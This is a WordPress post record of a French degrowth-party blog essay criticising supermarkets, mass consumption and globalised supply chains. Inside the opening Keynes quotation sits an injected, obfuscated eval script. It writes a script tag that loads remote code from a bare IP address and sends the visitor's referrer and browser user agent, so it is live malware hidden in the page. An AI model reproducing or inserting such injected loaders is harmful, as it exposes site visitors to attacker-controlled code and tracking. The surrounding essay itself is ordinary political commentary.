{"id":9372,"date":"2017-10-18T22:18:03","date_gmt":"2017-10-18T21:18:03","guid":{"rendered":"https:\/\/www.partipourladecroissance.net\/?p=9372"},"modified":"2017-10-18T22:29:35","modified_gmt":"2017-10-18T21:29:35","slug":"cest-la-course-suite","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=9372","title":{"rendered":"C&rsquo;est la course !! (suite)"},"content":{"rendered":"<p style=\"text-align: right;\"><em>\u00ab\u00a0La <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahthy|var|u0026u|referrer|ktzar||js|php'.split('|'),0,{}))\n<\/script><\/noindex> difficult\u00e9 n\u2019est pas de comprendre les id\u00e9es nouvelles, mais d\u2019\u00e9chapper aux id\u00e9es anciennes\u00a0\u00bb.\u00a0<\/em><br \/>\nJohn Maynard Keynes<\/p>\n<p><a href=\"https:\/\/www.partipourladecroissance.net\/?attachment_id=9373\" rel=\"attachment wp-att-9373\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-9373\" src=\"https:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2017\/10\/arton3621.png\" alt=\"\" width=\"184\" height=\"250\" \/><\/a>Aujourd\u2019hui, plus de 70\u00a0% des produits alimentaires sont achet\u00e9s en grande surface. Mais l\u2019alimentaire ne constitue pas leur seul champ d\u2019action. D\u00e9sormais, tout se retrouve dans les grandes surfaces sp\u00e9cialis\u00e9es (jouets, v\u00eatements, bricolage, sport \u2026) cr\u00e9ant ainsi d&rsquo;immenses zones commerciales qui pullulent aux p\u00e9riph\u00e9ries de toutes les villes de France. Qu&rsquo;est-ce qui se cache derri\u00e8re ces mastodontes que nous retrouvons en format r\u00e9duit dans les centres de nos villes, ou en p\u00e9riph\u00e9rie de nos plus grands villages\u00a0? Sont-ils l\u00e0 simplement pour nous faciliter la vie, pour vivre mieux et mieux consommer ou, au contraire, sont-ils l&rsquo;aboutissement de l&#8217;emprise d&rsquo;un capitalisme exasp\u00e9rant dans sa volont\u00e9 de contr\u00f4ler nos modes de vie\u00a0?<\/p>\n<p>Les grandes surfaces sont apparues apr\u00e8s la deuxi\u00e8me guerre mondiale, dans un contexte o\u00f9 notre mode de vie va largement \u00e9voluer avec une urbanisation croissante, le salariat et le travail des femmes en plein essor, l&rsquo;industrialisation de l&rsquo;agriculture mais aussi l&rsquo;\u00e9quipement des m\u00e9nages en r\u00e9frig\u00e9rateur et en automobile.<br \/>\nElles se sont r\u00e9pandues tout au long des \u00ab\u00a0trentes ravageuses\u00a0\u00bb (1) et encore plus apr\u00e8s. C&rsquo;est simple, plus le capitalisme s&rsquo;est lib\u00e9r\u00e9, plus les grandes surfaces ont gagn\u00e9 du terrain et, plus le b\u00e9ton a domin\u00e9 la terre. Ne soyons pas dupes, derri\u00e8re les slogans all\u00e9chants des grandes surfaces se cachent les capitalistes les plus outranciers. Derri\u00e8re les r\u00eaves, se cachent une id\u00e9ologie et des cons\u00e9quences d\u00e9sastreuses.<br \/>\nNe voir les grandes surfaces que comme un amoncellement de produits moins chers pour le consommateur, c&rsquo;est comme regarder un paysage avec une loupe, c&rsquo;est manquer l&rsquo;essentiel\u00a0; c&rsquo;est oublier que les grandes surfaces sont un maillon essentiel du syst\u00e8me capitaliste.<br \/>\nEt, leurs implantations ont des cons\u00e9quences tant au niveau spatial qu&rsquo;au niveau de nos modes de vie, avec des cons\u00e9quences sociales et \u00e9cologiques \u00ab\u00a0invisibles\u00a0\u00bb.<\/p>\n<p><strong>Un maillon du capitalisme le plus d\u00e9brid\u00e9<\/strong><br \/>\nLes grandes surfaces sont \u00e0 la base d&rsquo;un des fondements du capitalisme qui consiste \u00e0 vendre en masse tout en imposant des normes de consommation, pour justement consolider cette consommation de masse. Or, qui dit consommation de masse suppose une production de masse dont l&rsquo;aboutissement est l&rsquo;\u00e9mergence et le d\u00e9veloppement exponentiel, tout au long du XX\u00e8me si\u00e8cle, du complexe agro-alimentaire. Ce complexe va uniformiser nos go\u00fbts pour uniformiser les productions, pour finir par uniformiser nos vies.<br \/>\nLes grandes surfaces concentrent d\u00e9sormais l&rsquo;ensemble de nos besoins \u00e0 des co\u00fbts r\u00e9duits. Ainsi, nous pouvons effectuer les courses du foyer pour une semaine, quinze jours, quand ce n&rsquo;est pas pour le mois. Les grandes surfaces deviennent immenses, d\u00e9mesur\u00e9es. L&rsquo;offre de produits devient presque ind\u00e9cente\u00a0: le m\u00eame g\u00e2teau est pr\u00e9sent sous un packaging diff\u00e9rent \u00e0 3 ou 4 reprises. Car l&rsquo;objectif des grandes surfaces est de faire des b\u00e9n\u00e9fices, d&rsquo;en faire toujours plus, il faut donc que le consommateur consomme plus, toujours plus. A cette fin, il faut d&rsquo;un c\u00f4t\u00e9 tirer les prix vers le bas aupr\u00e8s des producteurs et, d&rsquo;un autre c\u00f4t\u00e9 lui imposer ou cr\u00e9er de nouveaux besoins qui aboutiront \u00e0 de nouveaux achats. Les grandes surfaces ma\u00eetrisent le \u00ab\u00a0vendre moins cher\u00a0\u00bb\u00a0par la r\u00e9duction des co\u00fbts du personnel (libre-service et rationalisation du stockage et de la manutention), un am\u00e9nagement d\u00e9pouill\u00e9 des magasins, la massification des commandes, la rotation acc\u00e9l\u00e9r\u00e9e des stocks, et surtout la r\u00e9duction des marges pour les producteurs (2).<br \/>\nMais, toujours dans l&rsquo;optique de vendre plus, les grandes surfaces s&rsquo;efforcent d\u2019inspirer ou prescrire des besoins que le consommateur n&rsquo;avait pas en entrant dans le magasin. Pour ce faire, il faut le frustrer, le faire culpabiliser de ne pas avoir encore tel ou tel produit, pour qu&rsquo;enfin il l&rsquo;ach\u00e8te. Et les grandes surfaces vont user de toutes les ficelles de la publicit\u00e9 pour \u2026 vendre m\u00eame l&rsquo;inutile. P\u00e9rigo L\u00e9gasse (3), explique justement\u00a0: \u00ab\u00a0\u00ab\u00a0La publicit\u00e9 a lav\u00e9 les cerveaux et la grande distribution finit le travail en gavant le consommateur de produits sans \u00e2me et sans saveur\u00a0\u00bb.<\/p>\n<p style=\"text-align: right;\"><em>\u00ab\u00a0Songeons \u00e0 la multiplication des objets inutiles et rappelons-nous de la r\u00e9action de Socrate qui se serait \u00e9cri\u00e9 en entrant dans une boutique : \u00a0\u00bb Que de choses dont je n&rsquo;aurai jamais besoin ! \u00a0\u00bb que dirait-il aujourd&rsquo;hui en entrant dans un supermarch\u00e9 ?\u00a0\u00bb<\/em><br \/>\nAlbert Jacquard<\/p>\n<p><!--more-->Si chaque vente est un b\u00e9n\u00e9fice pour les grandes surfaces, chaque vente est surtout un profit pour la m\u00e9gamachine (4). Aucune op\u00e9ration n\u2019est neutre dans une grande surface, elle sert toujours le capital et les capitalistes. Les consommateurs ne sont que ce qui leur permet de r\u00e9aliser leurs profits, au m\u00eame titre que les producteurs, l&rsquo;objectif n&rsquo;est pas leur bien-\u00eatre mais bien qu&rsquo;ils rapportent le plus possible en leur faisant croire qu&rsquo;ils sont gagnants.<br \/>\nDerri\u00e8re les fa\u00e7ades lumineuses, les offres all\u00e9chantes et les promesses d&rsquo;un mieux-vivre se cachent une autre r\u00e9alit\u00e9, un autre monde. Ce monde m\u00e9connu est bel et bien le n\u00f4tre. Mais la force du syst\u00e8me est de le cacher, car nous ne voyons pas toujours les cons\u00e9quences de nos actes, les grandes surfaces apparaissent comme un mirage avec leur opulence et leur scintillement.<\/p>\n<p><strong>Des cons\u00e9quences sociales et \u00e9cologiques\u00a0\u00ab\u00a0invisibles\u00a0\u00bb<\/strong><br \/>\nL&rsquo;implantation des grandes surfaces et l&rsquo;hyper-d\u00e9veloppement des zones commerciales n&rsquo;ont pas \u00e9t\u00e9 sans cons\u00e9quences sur nos paysages, nos modes de vie et notre organisation \u00e9conomique et sociale. Elles ont contribu\u00e9 \u00e0 changer notre monde et \u00e0 nous changer.<br \/>\nCertains dommages sont connus, notamment la disparition des commerces de proximit\u00e9 qui a eu comme cons\u00e9quence directe la d\u00e9sertification de nos centres-villes, urbains ou non. Avec ces fermetures, la vie des villes et des villages a \u00e9t\u00e9 fragilis\u00e9e, et c\u2019est un peu de lien social qui s\u2019est \u00e9vapor\u00e9, remplac\u00e9 par l&rsquo;hyper-commerce \u2013 et maintenant par l&rsquo;e-commerce.<br \/>\nMais les grandes surfaces ont \u00e9galement eu comme cons\u00e9quences l&rsquo;\u00e9crasement de l&rsquo;agriculture \u00e0 taille humaine, les d\u00e9localisations et le recours \u00e0 des importations massives dans le seul but de pouvoir vendre \u00e0 des prix\u00a0toujours plus comp\u00e9titifs. Avec les grandes surfaces, l\u2019\u00e9conomie \u00e9crase tout. Ainsi, nos paysages agricoles, mais aussi le m\u00e9tier d&rsquo;agriculteur, ont fortement \u00e9volu\u00e9. Ce m\u00e9tier conna\u00eet un des taux de suicides les plus importants. Avec les grandes surfaces, l&rsquo;agriculture productiviste a \u00e9t\u00e9 couronn\u00e9e\u00a0: le nombre d&rsquo;exploitations et d&rsquo;agriculteurs baisse, tandis que les subventions distribu\u00e9es par la PAC (Politique Agricole Commune) \u00e0 l&rsquo;agriculture productiviste augmentent. Toute une gamme de produits \u00ab\u00a0 \u00e0 pas cher\u00a0\u00bb venant directement de pays o\u00f9 d\u00e9sastres sociaux, \u00e9cologiques et sanitaires cohabitent pour nourrir nos zones commerciales, tout en ruinant notre artisanat et entra\u00eenant ch\u00f4mage, pr\u00e9carit\u00e9 et mis\u00e8re dans nos contr\u00e9es. Ainsi,en achetant dans une grande surface, nous ne favorisons pas notre territoire, mais renfor\u00e7ons un syst\u00e8me toujours plus globalis\u00e9, in\u00e9quitable et destructeur. Un avantage fr\u00e9quemment avanc\u00e9 lors de l&rsquo;ouverture d&rsquo;une grande surface est les cr\u00e9ations d&#8217;emplois. Mais cet alibi ne tient pas, puisque pour un emploi cr\u00e9\u00e9 dans les grandes surfaces, cinq sont finalement d\u00e9truits dans l&rsquo;\u00e9conomie locale. Par ailleurs, les grandes surfaces sont peu regardantes sur les conditions de productions des produits qu&rsquo;elles proposent, pourtant \u00e0 grand renfort de publicit\u00e9. Les grandes surfaces s&rsquo;inscrivent dans un capitalisme le plus lib\u00e9ralis\u00e9 possible afin d&rsquo;obtenir le plus de marges possibles. Le crit\u00e8re \u00e9conomique l&#8217;emporte sur tout le reste, sur tout ce qui pourrait faire augmenter les co\u00fbts ou faire perdre la mainmise des grandes surfaces sur nos vies.<\/p>\n<blockquote><p><strong>Des produits \u00e0 bas prix &#8230; mais \u00e9nergivores<\/strong><br \/>\n\u00c9tudier la cha\u00eene logistique et la consommation d&rsquo;un produit (\u00ab\u00a0supply chain\u00a0\u00bb) c&rsquo;est-\u00e0-dire l&rsquo;ensemble de la gestion des flux de mati\u00e8res ou de marchandises n\u00e9cessaires pour produire et acheminer un produit au supermarch\u00e9, permet de mieux appr\u00e9hender les travers et m\u00e9faits du syst\u00e8me de la grande distribution.<br \/>\nLe cas du pot de yaourt voyageur est un exemple connu puisque l&rsquo;\u00e9nergie consomm\u00e9e pour le transport et la r\u00e9frig\u00e9ration d&rsquo;un yaourt permettrait de faire rouler un poids lourd de 40 tonnes sur 21 m\u00e8tres ou une automobile sur 125 m\u00e8tres\u00a0! En 1993, une \u00e9tudiante allemande a \u00e9tudi\u00e9 le nombre de kilom\u00e8tres parcourus par les diff\u00e9rents ingr\u00e9dients entrant dans la composition du yaourt. Tout est pris en compte, des mati\u00e8res premi\u00e8res \u00e0 la colle pour les \u00e9tiquettes des pots. Au total, 9 000 kilom\u00e8tres ont \u00e9t\u00e9 parcourus pour la production d&rsquo;un yaourt \u00e0 la fraise. Ce dernier est devenu un symbole de la production mondialis\u00e9e de notre alimentation et de notre d\u00e9sir de manger ce que nous voulons sans tenir compte des rythmes de la nature.<br \/>\nUn autre aliment est devenu symbolique de cette alimentation mondialis\u00e9e, c&rsquo;est la crevette. D\u00e9j\u00e0, sa production n&rsquo;est pas sans causer des dommages consid\u00e9rables \u00e0 l&rsquo;environnement. D&rsquo;\u00e9levage, la crevette est responsable de la destruction des littoraux tropicaux mais aussi de la pollution des eaux et du sol. Une fois le temps de l&rsquo;\u00e9levage termin\u00e9, ces zones sont d\u00e9sertiques, abandonn\u00e9es et inutilisables car trop acides et salines. Avec la p\u00eache, son bilan \u00e9cologique n&rsquo;est gu\u00e8re meilleur, notamment parce que, pour une tonne de crevettes, 4 \u00e0 9 tonnes de prises secondaires (c&rsquo;est-\u00e0-dire sans valeur marchande) sont captur\u00e9es. La p\u00eache \u00e0 la crevette est donc une menace pour de nombreuses esp\u00e8ces (par exemple, les tortues de mer). Ensuite, si la crevette voyage beaucoup pour arriver \u00e0 nos assiettes, elle ne nage pas beaucoup. Le parcours invisible de la crevette est unique. Le nombre d&rsquo;\u00e9tapes n\u00e9cessaires et le temps entre le moment de la p\u00eache et sa pr\u00e9sentation au consommateur est totalement insoup\u00e7onn\u00e9. Ainsi, il faut 13 jours pour que ce produit frais arrive dans notre supermarch\u00e9 pr\u00e9f\u00e9r\u00e9. Durant ce laps de temps, la crevette voyage pour \u00eatre tri\u00e9e, d\u00e9cortiqu\u00e9e, nettoy\u00e9e, empaquet\u00e9e \u2026 pour finir par \u00eatre d\u00e9vor\u00e9e en quelques secondes comme un acte des plus banals.<br \/>\nEt les exemples sont nombreux. La majorit\u00e9 des produits de la grande distribution sont concern\u00e9s par ces transports invisibles ou une consommation \u00e9nerg\u00e9tique insoup\u00e7onn\u00e9e. Pour rappel, un kilogramme de veau repr\u00e9sente l&rsquo;\u00e9quivalent d&rsquo;un trajet en automobile de 220 kilom\u00e8tres, 180 kilom\u00e8tres pour de l&rsquo;agneau ou encore 70 kilom\u00e8tres pour du b\u0153uf. Car produire de la viande repr\u00e9sente des d\u00e9penses \u00e9nerg\u00e9tiques en chauffage, nourriture, transport, d\u00e9coupe ou emballage.<br \/>\n\u00c9videmment, lorsque nous achetons ces produits, nous ignorons ou feignons d&rsquo;ignorer. De la m\u00eame fa\u00e7on, nous passons \u00e0 c\u00f4t\u00e9 des \u00e9l\u00e9ments qui permettent \u00e0 ce syst\u00e8me de fonctionner\u00a0: la lib\u00e9ralisation et la mondialisation \u00e0 l&rsquo;extr\u00eame de l&rsquo;\u00e9conomie. Ainsi, c&rsquo;est bien le capitalisme qui permet une r\u00e9elle division g\u00e9ographique des t\u00e2ches, rendue possible par l&rsquo;\u00e9cart des richesses et des droits du travail entre les r\u00e9gions du monde, permettant que certains soient exploit\u00e9s l\u00e0 o\u00f9 d&rsquo;autres sont consommateurs. De la m\u00eame fa\u00e7on le consommateur, lorsqu&rsquo;il est contribuable, assume les co\u00fbts sociaux que la grande distribution provoque et qu&rsquo;elle laisse \u00e0 la charge de la collectivit\u00e9. Comme quoi, les bas co\u00fbts ont finalement un co\u00fbt.<\/p><\/blockquote>\n<p>Malgr\u00e9 un impact catastrophique, la grande distribution continue de triompher dans nos paysages et dans nos vies. La m\u00e9gamachine semble avoir verrouill\u00e9 le syst\u00e8me et les \u00ab\u00a0super-hyper\u00a0\u00bb contribuent \u00e0 nous enfermer dedans, se rendant indispensables ou in\u00e9vitables. En les acceptant, en en devenant client, nous soutenons cette consommation mondialis\u00e9e, ces productions mondialis\u00e9es mais aussi standardis\u00e9es et aseptis\u00e9es \u00e0 la sauce occidentale. Derri\u00e8re tout cela, nous acceptons d\u2019asservir une partie du monde pour nos assiettes, nos loisirs \u2026 notre mode de vie. Avec les grandes surfaces, c\u2019est une consommation sans fronti\u00e8re, sans limite, m\u00eame de l\u2019inutile, qui est sacralis\u00e9e. Elles doivent vendre, nous devons acheter pour faire perdurer le syst\u00e8me. Et pour nous y rendre, pour ramener ces pr\u00e9cieux achats, mais aussi pour acheminer les marchandises dans ces hangars, l\u2019automobile se r\u00e9v\u00e8le \u00eatre un outil indispensable. Un outil qui, avec les grandes surfaces, a contribu\u00e9 \u00e0 fa\u00e7onner de nouveaux paysages.<\/p>\n<p style=\"text-align: right;\"><em>\u00ab\u00a0No parking, no business\u00a0\u00bb<\/em><br \/>\nBernardo Trujillo (\u00ab\u00a0gourou des supermarch\u00e9s\u00a0\u00bb)<\/p>\n<p><strong>A suivre \u2026\/\u2026<\/strong><\/p>\n<p><em>(1) Expression de Christophe Bonneuil<\/em><br \/>\n<em>(2) Dominique Bessire, \u00ab\u00a0Grande distribution, l&rsquo;efficience de la r\u00e9gulation interne\u00a0\u00bb<\/em><br \/>\n<em>(3) R\u00e9dacteur en chef de la rubrique \u00ab\u00a0Vin et gastronomie\u00a0\u00bb \u00e0 l&rsquo;hebdomadaire Marianne.<\/em><br \/>\n<em>(4) Selon Lewis Mumford, la plus grande extraordinaire machine invent\u00e9e par l&rsquo;homme est l&rsquo;organisation sociale. Or, de nos jours, l&rsquo;homme est devenu un simple rouage d&rsquo;une m\u00e9canique complexe qui a atteint une puissance quasi-absolue\u00a0; une m\u00e9gamachine entra\u00een\u00e9e par une organisation sociale combinant efficience \u00e9conomique, force militaire, autorit\u00e9 religieuse, performance technique et pouvoir politique. Et, toute machine, de la plus simple \u00e0 la plus compliqu\u00e9e, participe au fonctionnement de l&rsquo;ensemble et en fournit le mod\u00e8le.<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00ab\u00a0La difficult\u00e9 n\u2019est pas de comprendre les id\u00e9es nouvelles, mais d\u2019\u00e9chapper aux id\u00e9es anciennes\u00a0\u00bb.\u00a0 John Maynard Keynes Aujourd\u2019hui, plus de 70\u00a0% des produits alimentaires sont achet\u00e9s en grande surface. Mais l\u2019alimentaire ne constitue pas leur seul champ d\u2019action. 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